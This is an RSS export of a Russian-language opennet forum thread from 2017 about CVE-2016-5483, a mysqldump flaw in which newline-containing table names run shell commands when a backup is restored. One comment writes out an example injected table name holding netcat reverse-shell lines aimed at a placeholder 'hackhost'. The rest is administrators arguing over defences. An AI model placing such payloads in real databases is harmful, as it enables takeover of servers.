<?xml version="1.0" encoding="koi8-r"?>
<rss version="0.91">
<channel>
    <title>OpenForum RSS: Уязвимость в mysqldump, позволяющая выполнить код при восста...</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html</link>
    <description>Во входящей в состав MySQL утилите mysqldump (http://dev.mysql.com/doc/refman/5.7/en/mysqldump.html), используемой для создания резервных копий, выявлена (https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups/) уязвимость (CVE-2016-5483 (https://security-tracker.debian.org/tracker/CVE-2016-5483)), позволяющая &lt;br&gt;организовать выполнение произвольных shell-команд или привилегированных конструкций SQL во время восстановления резервной копии при помощи утилиты mysql. Код выполнятся с правами администратора, запустившего mysql. Уязвимостью может воспользоваться пользователь СУБД, имеющий права на создание таблиц. &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Проблема вызвана особенностью добавления комментариев  с названиями  таблиц в выводе mysqldump. Атакующий имеет возможность создать таблицу с переводом строки в имени, что приведёт к тому, что в область комментария попадёт только начало имени, а хвост будет перенесён на другую строку и выполнен при загрузке дампа. Например, атакующий может создать таблицу с именем &quot;evil &amp;#92;! id select</description>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (mickvav)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#79</link>
    <pubDate>Tue, 14 Mar 2017 11:27:04 GMT</pubDate>
    <description>Отложить в сторонку хеш пароля пользователя, установить случайный длинный, прийти под этим паролем, поднять дамп, вернуть хеш на место - это как-то уже слишком сложно, да?&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (пох)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#78</link>
    <pubDate>Mon, 13 Mar 2017 14:10:03 GMT</pubDate>
    <description>&amp;gt; d:&#092;windows_server&#092;setup.exe ?&lt;br&gt;&lt;br&gt;mysql в ней ровно тот же самый и из того же источника.&lt;br&gt;А mssql для вебни (не внутрикорпоративной, с пятикилобайтной &quot;строкой&quot; sql-запроса, но и с аж пятью пользователями, которых можно просто заставить не запускать ее одновременно с пяти мест, а паблик, с тысячами пользователей и примитивными insert/delete по полста в секунду) - боюсь, как бы не оказался еще худшим рeшетом, и еще большим тормозом и сборищем глюков.&lt;br&gt;&lt;br&gt;И в любом случае это отдельная жизнь, не каждому админу lamp-серверов она дана.&lt;br&gt;(обратное тоже верно, судя по спаму, попершему пачками с хостингов гарант-парка)&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (KonstantinB)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#76</link>
    <pubDate>Mon, 13 Mar 2017 13:04:26 GMT</pubDate>
    <description>...только реалистичный, а не код, создающий динамически таблицы с подстановкой пользовательского ввода. :) С таким проблемы начнутся куда раньше.&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (KonstantinB)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#75</link>
    <pubDate>Mon, 13 Mar 2017 13:00:07 GMT</pubDate>
    <description>В дамп из-за sql injection? Ну-ка наваляйте proof of concept.&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (пох)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#74</link>
    <pubDate>Mon, 13 Mar 2017 10:24:15 GMT</pubDate>
    <description>&amp;gt; Ну, всё, конец света, вырубайте комп. А прогнать дамп на поиск сочетания &lt;br&gt;&amp;gt; нежелательных ключевых слов не судьба?&lt;br&gt;&lt;br&gt;а в дампе - статья с опеннета, описывающая проблему.&lt;br&gt;(ну либо вовсе статья о разработке/администреже mysql)&lt;br&gt;Причем она начинается со второго гигабайта этого дампа.&lt;br&gt;&lt;br&gt;Тебе нужен полноценный парсер sql-синтаксиса, старательно обходящий ескейпинги, нерегулярности и чудеса собственно mysqldump. Та еще жопа. Я до сих пор бережно храню regex, вырезающий из дампа (статичного и с точно известной начинкой) нужные поля, сам ниасилил.&lt;br&gt;&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (пох)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#73</link>
    <pubDate>Mon, 13 Mar 2017 10:15:06 GMT</pubDate>
    <description>&amp;gt; MySQL - Legacy РСБД с грязными хаками как IE6 для веб-макак.&lt;br&gt;&lt;br&gt;была бы она не для веб-макак, было бы пофигу, что там нет нормального restore. Энтерпрайзную базу я восстанавливаю без особой опаски - туда чужие не ходят.&lt;br&gt;&lt;br&gt;&amp;gt; Не имеет ничего общего со стандартизированными или современными решениями включая PgSQL. &lt;br&gt;&lt;br&gt;о, да. vacuum full не имеет (сколько лет вам читают мантру что он deprecated, и мы его &lt;br&gt;вообще скоро уберем, если не в следующей версии, то хотя бы через одну - точно?)&lt;br&gt;Если что - эта радость, вместе с форматом хранения, вызвавшим ее к жизни, унаследована от postgres95 (и да, это год, а предыдущее слово говорит, кто и зачем эту хрень придумал), где у ее существования было вполне понятное &lt;br&gt;основание, а идеи использовать ЭТО в продакшне у тех постдоков не было и быть не могло, исключительно исследовательский проект для написания диссера (и докторской руководителем).&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (пох)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#72</link>
    <pubDate>Mon, 13 Mar 2017 10:05:23 GMT</pubDate>
    <description>&amp;gt; Если дамп мой - я и так знаю, что в нем.&lt;br&gt;&lt;br&gt;в нем - create table shit&lt;br&gt;          &#092;!nc hackhost 6666 /dev/null &lt;br&gt;          &#092;!nc -l 6666 &amp;#124; /bin/sh&lt;br&gt;          somemoreshit (...&lt;br&gt;&lt;br&gt;попавший туда из-за sql-injection в забытом тобой же три года назад в недрах сайта одноразовом тестовом скрипте. И ты об этом вряд ли узнаешь. А при таком апломбе - ты об этом не узнаешь даже когда тебя таким образом поимеют, поскольку самомнения дохрена, а умения читать и делать выводы из прочитанного - ноль.&lt;br&gt;&lt;br&gt;одна надежда, что оракл о тебе позаботится.&lt;br&gt;&lt;br&gt;Единственный &quot;твой&quot; дамп, который по настоящему твой - это который ты руками набрал по одной буковке.&lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (angra)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#71</link>
    <pubDate>Mon, 13 Mar 2017 07:15:04 GMT</pubDate>
    <description>Очень даже может быть. Но в таких случаях обычно звучит что-то вроде &quot;я же не админ, чтобы читать сообщение об ошибке&quot;. &lt;br&gt;</description>
</item>

<item>
    <title>Уязвимость в mysqldump, позволяющая выполнить код при восста... (angra)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID3/110659.html#70</link>
    <pubDate>Mon, 13 Mar 2017 07:13:02 GMT</pubDate>
    <description>&amp;gt; apt-get remove mysqld ?&lt;br&gt;&lt;br&gt;apt-get remove работает с именами пакетов, а не бинарей на диске. &lt;br&gt;&lt;br&gt;&amp;gt; d:&#092;windows_server&#092;setup.exe ?&lt;br&gt;&lt;br&gt;Ну это тебе виднее, последний windows server, который я ставил, был 2003-й. &lt;br&gt;&lt;br&gt;</description>
</item>

</channel>
</rss>
